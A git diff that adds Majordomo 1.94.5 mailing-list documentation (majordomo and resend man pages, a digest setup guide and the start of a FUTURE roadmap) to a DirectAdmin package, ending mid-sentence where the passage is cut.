a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/majordomo.8 b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/majordomo.8 new file mode 100644 index 0000000..e99835a --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/majordomo.8 @@ -0,0 +1,300 @@ +.TH MAJORDOMO 8 +.SH NAME +Majordomo \- manage multiple mailing lists +.SH SYNOPSIS +.B Majordomo +.SH "DESCRIPTION" +.B Majordomo +is a perl script which automates the management of Internet mailing lists. +It is executed via electronic mail; users send e-mail to +.B Majordomo +with instructions in the body of the message, and the perl script performs +the requested actions and responds with the results. Any text in the +"Subject:" line is ignored. +.SH "COMMANDS" +.B Majordomo +understands the following commands (arguments in "[]" are optional): +.TP 5 +.B +subscribe \fIlist\fR [\fIaddress\fR] +.P +Subscribe yourself (or +.I address +if specified) to the named +.IR list . +.TP 5 +.B +unsubscribe \fIlist\fR [\fIaddress\fR] +.P +Unsubscribe yourself (or +.I address +if specified) from the named +.IR list . +If +.IR list +is ``*'' (an asterisk), unsubscribe from all lists on this Majordomo +server. +.TP 5 +.B +auth \fIspecial-word\fP subscribe \fIlist address\fP +.P +If the +.I list +subscribe policy setting includes \fI+confirm\fR, +Majordomo will ask for confirmation before a subscription +is approved. +The conformation request will show the +.I special-word +to send with +.I auth . +.TP 5 +.B +get \fIlist\fR \fIfile\fR +.P +Get the +.I file +related to +.IR list . +.TP 5 +.B +index \fIlist\fR +.P +Return an index of the files you can +.I get +associated with +.IR list . +.TP 5 +.B +which [\fIaddress\fR] +.P +Find out to which lists you (or +.I address +if specified) are subscribed. +.TP 5 +.B +who \fIlist\fR +.P +Find out who is on the named +.IR list . +.TP 5 +.B +info \fIlist\fR +.P +Retrieve the general introductory information for the named +.IR list . +.TP 5 +.B +intro \fIlist\fR +.P +Retrieve the introductory message sent to new users +of +.IR list . +Non-subscribers may not be able to retrieve this. +.TP 5 +.B +lists +.P +Show the lists served by this Majordomo server. It will also show a 50 +character list description if one has been provided. +.TP 5 +.B +help +.P +Retrieve an informational message, a brief synopsis of the user portion of +this manual page. +.TP 5 +.B +end +.P +Stop processing commands (useful if your mailer adds a signature). +.PP +A command may be split across multiple lines if all of the lines in +the command except the last end with a backslash "\\". +.PP +In addition, the owner of the list can issue the following commands: +.TP 5 +.B +approve \fIpassword\fR subscribe \fIlist\fR \fIaddress\fR +.P +Instruct Majordomo to add +.I address +to +.IR list . +The password is required to authenticate the list owner. This is very weak +authentication as the password is transmitted in the clear in an e-mail +message. No claims are made that it will provide anything other than +rudimentary protection against abuse of the Majordomo server. +.TP 5 +.B +approve \fIpassword\fR unsubscribe \fIlist\fR \fIaddress\fR +.P +Instruct Majordomo to delete +.I address +from +.IR list . +The password is required to authenticate the list owner. See the comments +above regarding the password. +.TP 5 +.B +newinfo \fIlist\fR \fIpassword\fR +.P +Update the informational message for +.I list +with the text which follows on subsequent lines. No formatting of the +message occurs, so the list owner should be careful to constrain the message +to eighty columns. Majordomo will include everything up to the string +.B EOF +or to the end of the mail message, whichever comes first. This is useful in +case the owner wants to verify the new message immediately, e.g., +.sp 1 +.RS 10 +To: majordomo +.sp 0 +newinfo list password +.sp +This is new information for the "list" list. +.sp +EOF +.sp 0 +info list +.sp +.RE +.RS 5 +This will simultaneously update the information for the list, and then +retrieve it for verification. Note that blank lines are preserved in the +message. +.RE +.TP 5 +.B +newintro \fIlist\fR \fIpassword\fR +.P +Similar to +.I newinfo , +but updates the (optional) introductory message sent to new +.I list +subscribers. +.B +passwd \fIlist\fR \fIold-password\fR \fInew-password\fR +.P +Replace the password for +.I list +with +.IR new-password . +.TP 5 +.B +config \fIlist\fR \fIpassword\fR +.P +retrieve a self-documenting configuration file for +the list . The \fIpassword\fR can be the password +contained in the file .passwd or the +admin_password in the configuration file. +.TP 5 +.B +newconfig \fIlist\fR \fIpassword\fR +.P +Validates and installs a new configuration file. The config file +includes everything up to the string +.B EOF +or to the end of the mail message, whichever comes first. The config +file is expected to be a complete config file as returned by the +"config" command. Incremental changing of the config file is not yet +supported. As soon as the config file is validated and installed its +settings are available for use. This is useful to remember if you have +multiple commands in your mail message since they will be subject to +the settings of the new config file. If there is an error in the +config file (incorrect value...), the config file will not be accepted +and the error message identifying the problem line(s) will be returned +to the sender. Note that only the errors are returned to the +sender not the entire config file. +.TP 5 +.B +writeconfig \fIlist\fR \fIpassword\fR +.P +Write a new config in standard form. All of the config +file documentation is optional. Only the keywords and +values are necessary. If a config file, stripped of +all comments is installed using newconfig, that is +what is returned by config. Writeconfig forces a +rewrite of the config file with all comments and +default values in place. It is useful to use after an +upgrade of majordomo since it will add the new +keywords for people to change. It also updates the +documentation in the file if that has changed. +.TP 5 +.B mkdigest +.I digest-list-name +[ +.I outgoing-address +] +.I password +.P +This will force a digest for the specified list to be created. It is +most useful if you don't have an account on the machine that handles +the digest for your list. +The optional +.I outgoing-address +will override the default address, +.IR listname -outgoing , +for distributing the digests; +this is usually done for security. +.SH CONFIGURATION +(Note that this section has not been updated to majordomo version 1.90). +.B Majordomo +supports +.I open +and +.I closed +lists. An +.I open +list is one to which anyone can subscribe themselves. A subscription +request sent to +.B Majordomo +for a +.I closed +list is forwarded to the owner of the list for approval. If a user tries to +subscribe an address which is different from their own (for example, a local +list exploder), +.B Majordomo +will forward the request to the list owner for approval, regardless of the +open or closed status of the list. +.PP +.B Majordomo +depends on the existence of certain system mail aliases. The first three +are for running the perl script on incoming e-mail and specifying the +responsible person in charge of the server: +.sp 1 +majordomo: "|/usr/local/mail/majordomo/wrapper majordomo" +.sp 0 +majordomo-owner: brent +.sp 0 +owner-majordomo: brent +.sp 1 +These next few aliases are for a list called "sample": +.sp 1 +sample: :include:/usr/local/mail/lists/sample +.sp 0 +owner-sample: sample-owner +.sp 0 +sample-request: "|/usr/local/mail/majordomo/wrapper request-answer sample" +.sp 0 +owner-sample-request: sample-owner +.sp 0 +sample-owner: brent +.sp 0 +sample-approval: brent +.sp 1 + +.SH FILES +/etc/majordomo.cf +.sp 0 +/usr/local/lib/mail/majordomo/ + +.SH BUGS +This man page has not been fully updated to conform to majordomo 1.90. + +.SH AUTHORS +Majordomo and most of the ancillary perl code was written by Brent Chapman, +. The latest version of the code is available by +anonymous FTP from FTP.GreatCircle.COM, in directory pub/majordomo. +This man page was written by Jim Duncan, . Minimal +update of the man page by John Rouillard . diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/majordomo.man b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/majordomo.man new file mode 100644 index 0000000..41d76fa --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/majordomo.man @@ -0,0 +1,264 @@ + + + +MAJORDOMO(8) MAINTENANCE COMMANDS MAJORDOMO(8) + + + +NAME + Majordomo - manage multiple mailing lists + +SYNOPSIS + Majordomo + +DESCRIPTION + Majordomo is a perl script which automates the management of + Internet mailing lists. It is executed via electronic mail; + users send e-mail to Majordomo with instructions in the body + of the message, and the perl script performs the requested + actions and responds with the results. Any text in the + "Subject:" line is ignored. + +COMMANDS + Majordomo understands the following commands (arguments in + "[]" are optional): + + subscribe _l_i_s_t [_a_d_d_r_e_s_s] + Subscribe yourself (or _a_d_d_r_e_s_s if specified) to the + named _l_i_s_t. + + unsubscribe _l_i_s_t [_a_d_d_r_e_s_s] + Unsubscribe yourself (or _a_d_d_r_e_s_s if specified) from the + named _l_i_s_t. + + get _l_i_s_t _f_i_l_e + Get the _f_i_l_e related to _l_i_s_t. + + index _l_i_s_t + Return an index of the files you can _g_e_t associated + with _l_i_s_t. + + which [_a_d_d_r_e_s_s] + Find out to which lists you (or _a_d_d_r_e_s_s if specified) + are subscribed. + + who _l_i_s_t + Find out who is on the named _l_i_s_t. + + info _l_i_s_t + Retrieve the general introductory information for the + named _l_i_s_t. + + lists + Show the lists served by this Majordomo server. It will + also show a 50 character list description if one has + been provided. + + help Retrieve an informational message, a brief synopsis of + the user portion of this manual page. + + + + +Sun Release 4.1 Last change: 1 + + + + + + +MAJORDOMO(8) MAINTENANCE COMMANDS MAJORDOMO(8) + + + + end Stop processing commands (useful if your mailer adds a + signature). + + A command may be split across multiple lines if all of the + lines in the command except the last end with a backslash + "\". + + In addition, the owner of the list can issue the following + commands: + + approve _p_a_s_s_w_o_r_d subscribe _l_i_s_t _a_d_d_r_e_s_s + Instruct Majordomo to add _a_d_d_r_e_s_s to _l_i_s_t. The pass- + word is required to authenticate the list owner. This + is very weak authentication as the password is + transmitted in the clear in an e-mail message. No + claims are made that it will provide anything other + than rudimentary protection against abuse of the Major- + domo server. + + approve _p_a_s_s_w_o_r_d unsubscribe _l_i_s_t _a_d_d_r_e_s_s + Instruct Majordomo to delete _a_d_d_r_e_s_s from _l_i_s_t. The + password is required to authenticate the list owner. + See the comments above regarding the password. + + newinfo _l_i_s_t _p_a_s_s_w_o_r_d + Update the informational message for _l_i_s_t with the text + which follows on subsequent lines. No formatting of + the message occurs, so the list owner should be careful + to constrain the message to eighty columns. Majordomo + will include everything up to the string EOF or to the + end of the mail message, whichever comes first. This + is useful in case the owner wants to verify the new + message immediately, e.g., + + To: majordomo + newinfo list password + + This is new information for the "list" list. + + EOF + info list + + This will simultaneously update the information for the + list, and then retrieve it for verification. Note that + blank lines are preserved in the message. + + passwd _l_i_s_t _o_l_d-_p_a_s_s_w_o_r_d _n_e_w-_p_a_s_s_w_o_r_d + Replace the password for _l_i_s_t with _n_e_w-_p_a_s_s_w_o_r_d. + + config _l_i_s_t _p_a_s_s_w_o_r_d + retrieve a self-documenting configuration file for the + list . The _p_a_s_s_w_o_r_d can be the password + + + +Sun Release 4.1 Last change: 2 + + + + + + +MAJORDOMO(8) MAINTENANCE COMMANDS MAJORDOMO(8) + + + + contained in the file .passwd or the + admin_password in the configuration file. + + newconfig _l_i_s_t _p_a_s_s_w_o_r_d + Validates and installs a new configuration file. The + config file includes everything up to the string EOF or + to the end of the mail message, whichever comes first. + The config file is expected to be a complete config + file as returned by the "config" command. Incremental + changing of the config file is not yet supported. As + soon as the config file is validated and installed its + settings are available for use. This is useful to + remember if you have multiple commands in your mail + message since they will be subject to the settings of + the new config file. If there is an error in the con- + fig file (incorrect value...), the config file will not + be accepted and the error message identifying the prob- + lem line(s) will be returned to the sender. Note that + only the errors are returned to the sender not the + entire config file. + + writeconfig _l_i_s_t _p_a_s_s_w_o_r_d + Write a new config in standard form. All of the config + file documentation is optional. Only the keywords and + values are necessary. If a config file, stripped of all + comments is installed using newconfig, that is what is + returned by config. Writeconfig forces a rewrite of + the config file with all comments and default values in + place. It is useful to use after an upgrade of major- + domo since it will add the new keywords for people to + change. It also updates the documentation in the file + if that has changed. + + mkdigest _d_i_g_e_s_t-_l_i_s_t-_n_a_m_e _p_a_s_s_w_o_r_d + This will force a digest for the specified list to be + created. It is most useful if you don't have an account + on the machine that handles the digest for your list. + + +CONFIGURATION + (Note that this section has not been updated to majordomo + version 1.90). Majordomo supports _o_p_e_n and _c_l_o_s_e_d lists. + An _o_p_e_n list is one to which anyone can subscribe them- + selves. A subscription request sent to Majordomo for a + _c_l_o_s_e_d list is forwarded to the owner of the list for appro- + val. If a user tries to subscribe an address which is dif- + ferent from their own (for example, a local list exploder), + Majordomo will forward the request to the list owner for + approval, regardless of the open or closed status of the + list. + + + + + +Sun Release 4.1 Last change: 3 + + + + + + +MAJORDOMO(8) MAINTENANCE COMMANDS MAJORDOMO(8) + + + + Majordomo depends on the existence of certain system mail + aliases. The first three are for running the perl script on + incoming e-mail and specifying the responsible person in + charge of the server: + + majordomo: "|/usr/local/mail/majordomo/wrapper majordomo" + majordomo-owner: brent + owner-majordomo: brent + + These next few aliases are for a list called "sample": + + sample: :include:/usr/local/mail/lists/sample + owner-sample: sample-owner + sample-request: "|/usr/local/mail/majordomo/wrapper + request-answer sample" + owner-sample-request: sample-owner + sample-owner: brent + sample-approval: brent + + + +FILES + /etc/majordomo.cf + /usr/local/lib/mail/majordomo/ + + +BUGS + This man page has not been fully updated to conform to + majordomo 1.90. + + +AUTHORS + Majordomo and most of the ancillary perl code was written by + Brent Chapman, . The latest version + of the code is available by anonymous FTP from + FTP.GreatCircle.COM, in directory pub/majordomo. This man + page was written by Jim Duncan, . Minimal + update of the man page by John Rouillard + . + + + + + + + + + + + + + + + + +Sun Release 4.1 Last change: 4 + + + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/resend.1 b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/resend.1 new file mode 100644 index 0000000..02d42fd --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/resend.1 @@ -0,0 +1,184 @@ +.TH resend 1 +.SH NAME +resend \- resend messages after evaluation +.LP +.SH SYNOPSIS +.B resend +.B [\-A] +.B [\-C config-file] +.B [\-I file-list] +.B [\-M max-msg-length] +.B [\-R] +.B [\-a passwd] +.B [\-d] +.B [\-f from-addr] +.B [\-h host-name] +.B \-l list-name +.B [\-n] +.B [\-p precedence] +.B [\-r reply-to] +.B [\-s] +.B destination +.LP +.SH AVAILABILITY +Provided with distributions of Majordomo. +.LP +.SH DESCRIPTION +.B resend +is a perl script that is usually used to redirect mail messages to +a mailing list after evaluating and parsing the headers. Mail is +"resent" by handing it off to the mailer again with an alternate +destination as specified by the final operand. +.LP +Any message that +.B resend +doesn't like is sent to the list owner (the +"-f" address, or "-owner" if -f isn't used) along with a +comment indicating what "resend" didn't like about it. To go ahead +and send the message, just feed it to resend without the flag that +caused it to reject it (in other words, if it rejected it because it +was too long, omit the "-M <>" flag; if it rejected it because it was +administrivia, omit the "-s" flag). +.LP +If you specify "-a " flag, this "approval" password can be +used in an "Approved: " line to override most of the other +checks (those enabled by "-s", "-M", and so forth). The "Approved: +" line can either be one of the mail headers, or the first +line of the body of the message. If it is in the headers, the rest +of the headers are resent as part of the approved message. If it is +in the body, the current headers are discarded in favor of the headers +from the original message which should follow the "Approved:" line in +the body. +.LP +The owner of a mailing list can thus post messages that were initially +bounced by adding an "Approved: " line and resubmitting the +message. Any "Approved: " line is stripped before the message +is sent to the mailing list, so that list members won't learn the +password. If the argument to the "-a" flag begins with a "/", +it is assumed to be a file name from which the actual password is read. +.LP +You can make a list "moderated" by specifying the "-A" flag. If the +"-A" flag is set, then any messages not containing a valid "Approved:" +line are sent to the list owner, rather than the whole list.; the +list owner can then review the message, add an appropriate "Approved:" +line, and resubmit them (these last two steps can be done easily with +the "approve" command that comes with Majordomo). If you specify +the "-A" flag, you must also specify the "-a " flag, so that +resend knows what approval password to use. +.LP +If you only want to accept messages from members of a list, you can +use the "-I " flag to do this. "" should be a +colon-separated list of files in the $listdir directory (specified in +the config file) that "resend" will check the address in "From:" line +of a message against. If the address doesn't show up in one of those +files, and the message doesn't have a valid "approved" header on it, +it will be bounced to the list owner. +.LP +.SH OPTIONS +The following options can be used with resend: +.LP +.TP 10 +.B \-A +Approve; enable list moderation by requiring an Approved: header to be +present in the message before resending. Messages without an Approved: +header will be redirected to the list owner for approval. +.TP +.B \-C config-file +Alternate configuration file; tell resend to use the file +.TP +.B config-file +instead of the default list-name.config. +.TP +.B \-I file-list +Include; ensure that the message sender (as represented in the From: +line of the incoming message) is in one of the file(s) specified in +.BR file-list . +.B file-list +may contain multiple colon separated pathnames. Each pathname should +point to a file that contains a sendmail-style mailing list. +.TP +.B [\-M max-msg-length] +Maximum; Specify the maximum length of the relayed message in octets. +.TP +.B [\-R] +Delete the "Received:" lines in the incoming message header. This can +make the relayed messages considerably shorter at the expense of +losing some potentially interesting debugging information. +.TP +.B [\-a passwd_file] +Specify the pathname of the file containing the approval password for +the list. This password is used to check Approved: headers when +relaying messages to lists that are marked as moderated through the +.B \-A +option above. +.TP +.B [\-d] +Debug; print what would be done, but don't do it. +.TP +.B [\-f from-addr] +Set the From: address to +.B from-addr +.TP +.B [\-h host-name] +Set the name of the local host to +.BR host-name . +This name will be used in the From: and To: lines when updating the +headers. +.TP +.B \-l list-name +Specify the name of the mailing list as +.BR list-name . +This option is required, as +.B resend +uses this name to derive the names +of many other files. +.TP +.B [\-n] +Assign a sequence number to each message as it comes through. The next +sequence number is stored in the file lists/list-name.seq. If the +string $SEQNUM is found in the $subject-prefix configuration variable, +it is replaced with the current sequence number. Thus, a +$subject_prefix of "($LIST $SEQNUM)" would render a Subject: line of +(list-name sequence-number). +.TP +.B [\-p precedence] +Set the Precedence: header to +.BR precedence . +.TP +.B [\-r reply-to] +Set the Reply-To: header to +.BR reply-to . +.TP +.B [\-s] +Administrivia; Search the message for strings commonly found in +administrative messages send to majordomo mailing lists (e.g. +subscribe, unsubscribe). If these are found in the first 10 or so +lines of the message, the message will be relayed to the list owner +instead of being sent on to the mailing list. +.SH OPERANDS +.TP 10 +.B destination +The alias to which to redirect the message if it is a proper list +submission. +.LP +.SH CONFIGURATION +.LP +.SH FILES +.PD 0 +.TP 20 +.B /etc/aliases +.TP +.B /etc/majordomo.cf +.TP +.B lists/list-name.config +.PD +.LP +.SH SEE ALSO +.B majordomo(8),approve(1) +.LP +.SH AUTHOR +Majordomo and most of the ancillary perl code was written by +Brent Chapman . +Majordomo is available via anonymous FTP +from FTP.GreatCircle.COM, in the directory pub/majordomo. This +man page was written by Shane McCarron . diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/resend.man b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/resend.man new file mode 100644 index 0000000..7f21d81 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/resend.man @@ -0,0 +1,264 @@ + + + + rrrreeeesssseeeennnndddd((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV rrrreeeesssseeeennnndddd((((1111)))) + + + + NNNNAAAAMMMMEEEE + resend - resend messages after evaluation + + SSSSYYYYNNNNOOOOPPPPSSSSIIIISSSS + rrrreeeesssseeeennnndddd [[[[----AAAA]]]] [[[[----CCCC ccccoooonnnnffffiiiigggg----ffffiiiilllleeee]]]] [[[[----IIII ffffiiiilllleeee----lllliiiisssstttt]]]] [[[[----MMMM mmmmaaaaxxxx----mmmmssssgggg---- + lllleeeennnnggggtttthhhh]]]] [[[[----RRRR]]]] [[[[----aaaa ppppaaaasssssssswwwwdddd]]]] [[[[----dddd]]]] [[[[----ffff ffffrrrroooommmm----aaaaddddddddrrrr]]]] [[[[----hhhh hhhhoooosssstttt----nnnnaaaammmmeeee]]]] + ----llll lllliiiisssstttt----nnnnaaaammmmeeee [[[[----nnnn]]]] [[[[----pppp pppprrrreeeecccceeeeddddeeeennnncccceeee]]]] [[[[----rrrr rrrreeeeppppllllyyyy----ttttoooo]]]] [[[[----ssss]]]] + ddddeeeessssttttiiiinnnnaaaattttiiiioooonnnn + + AAAAVVVVAAAAIIIILLLLAAAABBBBIIIILLLLIIIITTTTYYYY + Provided with distributions of Majordomo. + + DDDDEEEESSSSCCCCRRRRIIIIPPPPTTTTIIIIOOOONNNN + rrrreeeesssseeeennnndddd is a perl script that is usually used to redirect + mail messages to a mailing list after evaluating and parsing + the headers. Mail is "resent" by handing it off to the + mailer again with an alternate destination as specified by + the final operand. + + Any message that rrrreeeesssseeeennnndddd doesn't like is sent to the list + owner (the "-f" address, or "-owner" if -f isn't + used) along with a comment indicating what "resend" didn't + like about it. To go ahead and send the message, just feed + it to resend without the flag that caused it to reject it + (in other words, if it rejected it because it was too long, + omit the "-M <>" flag; if it rejected it because it was + administrivia, omit the "-s" flag). + + If you specify "-a " flag, this "approval" password + can be used in an "Approved: " line to override most + of the other checks (those enabled by "-s", "-M", and so + forth). The "Approved: " line can either be one of + the mail headers, or the first line of the body of the + message. If it is in the headers, the rest of the headers + are resent as part of the approved message. If it is in the + body, the current headers are discarded in favor of the + headers from the original message which should follow the + "Approved:" line in the body. + + The owner of a mailing list can thus post messages that were + initially bounced by adding an "Approved: " line and + resubmitting the message. Any "Approved: " line is + stripped before the message is sent to the mailing list, so + that list members won't learn the password. If the + argument to the "-a" flag begins with a "/", it is assumed + to be a file name from which the actual password is read. + + You can make a list "moderated" by specifying the "-A" flag. + If the "-A" flag is set, then any messages not containing a + valid "Approved:" line are sent to the list owner, rather + than the whole list.; the list owner can then review the + message, add an appropriate "Approved:" line, and resubmit + + + + Page 1 (printed 12/10/96) + + + + + + + rrrreeeesssseeeennnndddd((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV rrrreeeesssseeeennnndddd((((1111)))) + + + + them (these last two steps can be done easily with the + "approve" command that comes with Majordomo). If you + specify the "-A" flag, you must also specify the "-a + " flag, so that resend knows what approval password + to use. + + If you only want to accept messages from members of a list, + you can use the "-I " flag to do this. "" should be a colon-separated list of files in the + $listdir directory (specified in the config file) that + "resend" will check the address in "From:" line of a message + against. If the address doesn't show up in one of those + files, and the message doesn't have a valid "approved" + header on it, it will be bounced to the list owner. + + OOOOPPPPTTTTIIIIOOOONNNNSSSS + The following options can be used with resend: + + ----AAAA Approve; enable list moderation by requiring an + Approved: header to be present in the message + before resending. Messages without an Approved: + header will be redirected to the list owner for + approval. + + ----CCCC ccccoooonnnnffffiiiigggg----ffffiiiilllleeee + Alternate configuration file; tell resend to use + the file + + ccccoooonnnnffffiiiigggg----ffffiiiilllleeee + instead of the default list-name.config. + + ----IIII ffffiiiilllleeee----lllliiiisssstttt + Include; ensure that the message sender (as + represented in the From: line of the incoming + message) is in one of the file(s) specified in + ffffiiiilllleeee----lllliiiisssstttt. ffffiiiilllleeee----lllliiiisssstttt may contain multiple colon + separated pathnames. Each pathname should point to + a file that contains a sendmail-style mailing + list. + + [[[[----MMMM mmmmaaaaxxxx----mmmmssssgggg----lllleeeennnnggggtttthhhh]]]] + Maximum; Specify the maximum length of the relayed + message in octets. + + [[[[----RRRR]]]] Delete the "Received:" lines in the incoming + message header. This can make the relayed messages + considerably shorter at the expense of losing some + potentially interesting debugging information. + + [[[[----aaaa ppppaaaasssssssswwwwdddd____ffffiiiilllleeee]]]] + Specify the pathname of the file containing the + approval password for the list. This password is + + + + Page 2 (printed 12/10/96) + + + + + + + rrrreeeesssseeeennnndddd((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV rrrreeeesssseeeennnndddd((((1111)))) + + + + used to check Approved: headers when relaying + messages to lists that are marked as moderated + through the ----AAAA option above. + + [[[[----dddd]]]] Debug; print what would be done, but don't do it. + + [[[[----ffff ffffrrrroooommmm----aaaaddddddddrrrr]]]] + Set the From: address to ffffrrrroooommmm----aaaaddddddddrrrr + + [[[[----hhhh hhhhoooosssstttt----nnnnaaaammmmeeee]]]] + Set the name of the local host to hhhhoooosssstttt----nnnnaaaammmmeeee. This + name will be used in the From: and To: lines when + updating the headers. + + ----llll lllliiiisssstttt----nnnnaaaammmmeeee + Specify the name of the mailing list as lllliiiisssstttt----nnnnaaaammmmeeee. + This option is required, as rrrreeeesssseeeennnndddd uses this name + to derive the names of many other files. + + [[[[----nnnn]]]] Assign a sequence number to each message as it + comes through. The next sequence number is stored + in the file lists/list-name.seq. If the string + $SEQNUM is found in the $subject-prefix + configuration variable, it is replaced with the + current sequence number. Thus, a $subject_prefix + of "($LIST $SEQNUM)" would render a Subject: line + of (list-name sequence-number). + + [[[[----pppp pppprrrreeeecccceeeeddddeeeennnncccceeee]]]] + Set the Precedence: header to pppprrrreeeecccceeeeddddeeeennnncccceeee. + + [[[[----rrrr rrrreeeeppppllllyyyy----ttttoooo]]]] + Set the Reply-To: header to rrrreeeeppppllllyyyy----ttttoooo. + + [[[[----ssss]]]] Administrivia; Search the message for strings + commonly found in administrative messages send to + majordomo mailing lists (e.g. subscribe, + unsubscribe). If these are found in the first 10 + or so lines of the message, the message will be + relayed to the list owner instead of being sent on + to the mailing list. + + OOOOPPPPEEEERRRRAAAANNNNDDDDSSSS + ddddeeeessssttttiiiinnnnaaaattttiiiioooonnnn + The alias to which to redirect the message if it + is a proper list submission. + + CCCCOOOONNNNFFFFIIIIGGGGUUUURRRRAAAATTTTIIIIOOOONNNN + FFFFIIIILLLLEEEESSSS + ////eeeettttcccc////aaaalllliiiiaaaasssseeeessss + ////eeeettttcccc////mmmmaaaajjjjoooorrrrddddoooommmmoooo....ccccffff + lllliiiissssttttssss////lllliiiisssstttt----nnnnaaaammmmeeee....ccccoooonnnnffffiiiigggg + + + + Page 3 (printed 12/10/96) + + + + + + + rrrreeeesssseeeennnndddd((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV rrrreeeesssseeeennnndddd((((1111)))) + + + + SSSSEEEEEEEE AAAALLLLSSSSOOOO + mmmmaaaajjjjoooorrrrddddoooommmmoooo((((8888)))),,,,aaaapppppppprrrroooovvvveeee((((1111)))) + + AAAAUUUUTTTTHHHHOOOORRRR + Majordomo and most of the ancillary perl code was written by + Brent Chapman . Majordomo is + available via anonymous FTP from FTP.GreatCircle.COM, in the + directory pub/majordomo. This man page was written by Shane + McCarron . + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Page 4 (printed 12/10/96) + + + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/quick-digest-setup b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/quick-digest-setup new file mode 100644 index 0000000..70802c3 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/quick-digest-setup @@ -0,0 +1,105 @@ + +QUICK DIGEST SETUP: + +For the purpose of example, let's say that you have a majordomo list +called "banjo" and that you want to create "banjo-digest". + +1. You need to create two directories: the digest's work directory + and the digest's archive directory. They CAN'T be the same directory. + + Where should these directories be created? Look in your majordomo.cf + file to see how these three variables are defined: $digest_work_dir, + $filedir, $filedir_suffix. Let's say they look like this: + + $digest_work_dir = "/usr/local/mail/digest"; + $filedir = "/usr/local/mail/files"; + $filedir_suffix = ".archive"; + + That being the case, you must create these two directories: + + /usr/local/mail/digest/banjo-digest + /usr/local/mail/files/banjo-digest.archive + + The first is the work directory, the second is the archive directory. + + Make sure that majordomo has write permission on both directories. + + +2. You must create a majordomo list called "banjo-digest". + + In most respects it is just like any ordinary list, but when you + set up the configuration file (banjo-digest.config), you will + have to configure these parameters: + + digest_issue = 1 + digest_name = Banjo Digest + digest_volume = 1 + digest_maxdays = + digest_maxlines = + maxlength = 40000 + message_footer << END + END + message_fronter << END + END + + Remember that these variables are in banjo-digest.config, NOT banjo.config. + + Also, do NOT touch the variables digest_archive, digest_rm_header, etc. + + Both digest_issue and digest_number should start at 1 unless you have + some special reason to do otherwise. The digest name should be an + obvious choice, but don't make it longer than 24 characters. + + "maxlength" is the maximum size in characters (bytes) for a digest. + "digest_maxlines" is the maximum number of lines in a digest. + "digest_maxdays" is the maximum age in days of an article in a digest. + + The last two parameters are optional, but maxlength must be defined. + A digest will automatically be created if any one of the three limits + is exceeded. + + You can put this sort of material in the header or footer: + +message_fronter << END +In this issue: +- +- _SUBJECTS_ +- +See the end of the digest for information about banjo-digest. +END + + Note that you need to indicate blank lines by placing a '-' + character at the beginning of the line. You also indicate + whitespace at the beginning of a line by putting a '-' in + front of the whitespace. + + The _SUBJECTS_ token will be expanded to all of the subject lines + of the messages in the digest, one subject per line. + +3. Create some aliases. + + You need to add to the banjo-outgoing alias: + + banjo-outgoing: :include:/path/to/lists/banjo, banjo-digestify + + and then you need the banjo-digest aliases: + + banjo-digestify: "|/path/to/wrapper digest -r -C -l banjo-digest banjo-digest-outgoing" + + banjo-digest: banjo + banjo-digest-outgoing: :include:/path/to/lists/banjo-digest + owner-banjo-digest-outgoing: harry + banjo-digest-approval: harry + +4. Add a cron job. + + If you want digests to be created at regular intervals, put this + line in your cron table: + + echo mkdigest banjo-digest pluck | mail majordomo@mj.server.com + + ("pluck" is the digest's password). + +5. Test it! + + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/FUTURE b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/FUTURE new file mode 100644 index 0000000..1371baa --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/FUTURE @@ -0,0 +1,229 @@ + _ _ ____ _ ____ ____ ___ ____ _ _ ____ + |\/| |__| | | | |__/ | \ | | |\/| | | + | | | | _| |__| | \ |__/ |__| | | |__| + + Release 1.94 + FUTURE + -------------------------------------------------------------------------- + +* Where is Majordomo headed? +---------------------------- + +In it's current release, 1.94, Majordomo is a stable, yet tangled, +collection of code. As the README says... + + Along the way, it has picked up many features and additions + from various authors. Because of this, and due to the initial + design of Majordomo, certain features (archiving, digesting, + and moderated lists) are currently done in a "non-optimum" + fashion. In short, configuring Majordomo to do some of the + advanced features can be confusing. This is a known problem + and is being worked on. + + +Perhaps it would be enlightening to start with a vision of what +Majordomo should look like in the future, and then expand on the +vision. + + 1) Interaction with Majordomo should be easier; for the list user, + the list owner, and the Majordomo owner. This means an + integrated Web interface, as well as a better mail interface. + + 2) Existing facilities should be integrated better. Archiving and + digesting need integration. + + 3) Access to Majordomo functions and lists should be extensively + configurable, assignable, and easy to control. + + 4) Improvements to adequately handle large lists, and large numbers + of lists. + + 5) Majordomo "plugins", configurable down to a per-list basis. + Hooks for pre & post operations to commands. (ie, substitute a + different method of access checking for certain lists.) + + 6) Reduce, if possible, the morass of aliases needed for a large + Majordomo installation. + + 7) Consider the potential of integrating bulkmailer, TLB, or another + delivery agent into MD for large lists. + + +Now, how are we going to get from here to there? That's the tough +question. + +The first step is to require perl5. This gives us heaps of good +stuff, and will potentially greatly reduce the tangle of current +code. + +Next, abstract, define, and API-ize the core bits. This is where the +hooks to 